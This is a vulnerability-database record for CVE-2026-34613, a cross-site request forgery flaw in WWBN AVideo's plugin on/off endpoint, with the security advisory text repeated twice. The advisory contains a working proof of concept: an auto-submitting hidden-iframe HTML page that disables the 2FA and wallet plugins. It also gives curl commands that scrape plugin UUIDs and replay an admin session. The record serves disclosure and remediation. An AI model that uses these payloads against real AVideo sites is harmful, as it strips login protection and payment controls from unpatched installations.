{"id":"CVE-2026-34613","aliases":["EUVD-2026-17639","GHSA-hqxf-mhfw-rc44"],"status":"published","title":"AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page. At time of publication, there are no publicly available patches.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00205,"percentile":0.10574,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-352"],"published":"2026-03-31T20:45:50Z","modified":"2026-10-28T02:31:07Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-hqxf-mhfw-rc44","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34613","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo/commit/7ddfe4ec270d720e11f5dc28db73dfcd2cf9192a","tags":["web"]},{"url":"https://github.com/WWBN/AVideo/commit/da375103d59118d1c1b1801ac7fce3cd426f8736","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hqxf-mhfw-rc44"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34613.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34613","title":"AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T20:45:50.839Z","modified":"2026-04-01T18:44:06.444Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:20:14.665567Z"}],"euvd":[{"id":"EUVD-2026-17639","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T20:45:50Z","modified":"2026-04-01T18:44:06Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:24.09733Z"}],"ghsa":[{"id":"GHSA-hqxf-mhfw-rc44","title":"AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins","description":"## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n    die('{\"error\": \"Must be admin\"}');\n}\n\n$obj = new Plugin(0);\n$obj-\u003eloadFromUUID($_POST['uuid']);\n$obj-\u003esetStatus($_POST['status']);\n$obj-\u003esave();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n    return array(\n        'plugins',\n        // ... other tables\n    );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin's `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-031 PoC - Disable Security Plugin\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading content...\u003c/h1\u003e\n\n\u003c!-- Disable LoginControl (2FA / brute force protection) --\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable1\" method=\"POST\" target=\"f1\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"LoginControl-5ee8405eaaa16\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003c!-- Disable YPTWallet (subscription/payment enforcement) --\u003e\n\u003ciframe name=\"f2\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable2\" method=\"POST\" target=\"f2\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"2faf2eeb-88ac-48e1-a098-37e76ae3e9f3\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003cscript\u003e\n  document.getElementById('disable1').submit();\n  document.getElementById('disable2').submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n  -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d\u0026status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n    forbiddenPage('Invalid CSRF token');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-04-01T20:54:07Z","modified":"2026-04-01T20:54:08Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:39:47.075804Z"}],"nvd":[{"id":"CVE-2026-34613","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T21:16:31.447Z","modified":"2026-07-24T20:10:00.147Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:12:12.261218Z"}],"osv":[{"id":"CVE-2026-34613","title":"AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins","description":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page. At time of publication, there are no publicly available patches.","status":"published","published":"2026-03-31T20:45:50.839Z","modified":"2026-10-28T02:31:07.88657026Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-hqxf-mhfw-rc44","title":"AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins","description":"## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n    die('{\"error\": \"Must be admin\"}');\n}\n\n$obj = new Plugin(0);\n$obj-\u003eloadFromUUID($_POST['uuid']);\n$obj-\u003esetStatus($_POST['status']);\n$obj-\u003esave();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n    return array(\n        'plugins',\n        // ... other tables\n    );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin's `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-031 PoC - Disable Security Plugin\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading content...\u003c/h1\u003e\n\n\u003c!-- Disable LoginControl (2FA / brute force protection) --\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable1\" method=\"POST\" target=\"f1\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"LoginControl-5ee8405eaaa16\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003c!-- Disable YPTWallet (subscription/payment enforcement) --\u003e\n\u003ciframe name=\"f2\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable2\" method=\"POST\" target=\"f2\"\n      action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"uuid\" value=\"2faf2eeb-88ac-48e1-a098-37e76ae3e9f3\" /\u003e\n  \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003cscript\u003e\n  document.getElementById('disable1').submit();\n  document.getElementById('disable2').submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n  -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d\u0026status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n  \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n    forbiddenPage('Invalid CSRF token');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","status":"published","published":"2026-04-01T20:54:07Z","modified":"2026-04-01T21:11:22.541526Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:49.621585Z"}]}}
